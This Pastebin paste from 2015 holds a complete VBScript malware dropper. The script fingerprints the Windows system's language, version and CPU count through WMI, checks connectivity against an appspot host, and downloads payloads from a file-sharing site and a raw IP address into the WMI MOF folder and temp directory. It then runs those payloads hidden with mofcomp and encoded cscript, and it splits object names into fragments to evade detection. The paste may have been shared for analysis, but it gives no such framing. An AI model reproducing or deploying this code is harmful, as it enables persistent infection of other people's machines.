Advertisement
benkow_

Untitled

Sep 23rd, 2015
725
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.06 KB | None | 0 0
  1. On Error Resume Next
  2. Dim OSlag,OSver,numcpus,objOutParams,objWMIREGService
  3. Set objWMIREGService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\DEFAULT:StdRegProv")
  4. objOutParams = objWMIREGService.GetStringValue(&H80000002, "SYSTEM\CurrentControlSet\Control\Nls\Language", "Default",OSlag)
  5. objOutParams = objWMIREGService.GetStringValue(&H80000002, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", "CurrentVersion",OSver)
  6. objOutParams = objWMIREGService.GetStringValue(&H80000002, "SYSTEM\CurrentControlSet\Control\Session Manager\Environment", "NUMBER_OF_PROCESSORS",numcpus)
  7. notincn = outcn()
  8.  
  9. If OSlag = "0804" Or OSlag = "0c04" Then
  10. If OSver = "5.2" And notincn = 0 Then
  11. wlog("hp55-CN-" + OSlag)
  12. dl "http://zl.hwpan.com/u56393013/cnmof/cnmofb.zip","C:\Windows\System32\wbem\MOF\15.log"
  13. End If
  14. WScript.Quit
  15.  
  16. If notincn = 1 Then
  17. wlog("hp55-CN-OUT-" + OSlag)
  18. dl "http://zl.hwpan.com/u56393013/cnmof/usmofb2.zip","C:\Windows\System32\wbem\MOF\15.log"
  19. dl "http://zl.hwpan.com/u56393013/cnmof/usmofb2.zip","c:\windows\temp\iisstt.dat"
  20. runprg "mofcomp.exe c:\windows\temp\iisstt.dat"
  21. End If
  22. WScript.Quit
  23.  
  24. Else
  25. wlog("hp55-USA-" + OSlag)
  26. dl "http://zl.hwpan.com/u56393013/cnmof/usmofb2.zip","C:\Windows\System32\wbem\MOF\15.log"
  27. dl "http://zl.hwpan.com/u56393013/cnmof/usmofb2.zip","c:\windows\temp\iisstt.dat"
  28. runprg "mofcomp.exe c:\windows\temp\iisstt.dat"
  29. End If
  30.  
  31. If OSver = "5.2" And numcpus >= 4 Then WScript.Quit
  32.  
  33. dl "http://66.186.188.227:88/xc.zip","c:\windows\temp\isst.zip"
  34. runprg "cscript.exe /b /e:VBScript.Encode c:\windows\temp\isst.zip"
  35.  
  36.  
  37. Function dl(u,f)
  38. dim xHttp:Set xHttp = createobject("WinH" & "ttp.WinHt" & "tpRequ" & "est.5.1")
  39. dim bStrm:Set bStrm = createobject("Ad" & "od" & "b.S" & "tre" & "am")
  40. xHttp.Open "GET",u, 0
  41. xHttp.Send
  42. with bStrm
  43. .type = 1
  44. .open
  45. .write xHttp.responseBody
  46. .savetofile f,2
  47. .close
  48. end with
  49. end Function
  50.  
  51. Function wlog(slog)
  52. Set objFSO = CreateObject("Scripting.FileSystemObject")
  53. windir = objFSO.GetSpecialFolder(0)
  54. Set f = objFSO.CreateTextFile(windir + "\wb2010kb.log",1)
  55. f.WriteLine(slog)
  56. f.Close
  57. Set objFSO = Nothing
  58. End Function
  59.  
  60.  
  61. Function runprg(ppath)
  62. Set objPS = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\CIMV2")
  63. Set objStartup = objPS.Get("Win32_ProcessStartup")
  64. Set objConfig = objStartup.SpawnInstance_()
  65. objConfig.ShowWindow = 0
  66. Set objShare = objPS.Get("Win32_Process")
  67. Set objInParam = objShare.Methods_("Create").inParameters.SpawnInstance_()
  68. objInParam.Properties_.Item("CommandLine") = ppath
  69. objInParam.Properties_.Item("ProcessStartupInformation") = objConfig
  70. Set objOutParams = objPS.ExecMethod("Win32_Process", "Create", objInParam)
  71. End Function
  72. Function outcn()
  73. Err.Clear
  74. On Error Resume Next
  75. dim xHttp:Set xHttp = createobject("WinH" & "ttp.WinHt" & "tpRequ" & "est.5.1")
  76. xHttp.Open "GET","http://tbkinco-hrd.appspot.com/", 0
  77. xHttp.Send
  78. If Err.Number <> 0 Then
  79. outcn = 0
  80. Set xHttp = Nothing
  81. Exit Function
  82. End If
  83. If xHttp.responseText = "hello" Then
  84. outcn = 1
  85. Set xHttp = Nothing
  86. Exit Function
  87. End If
  88. Set xHttp = Nothing
  89. outcn = 0
  90. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement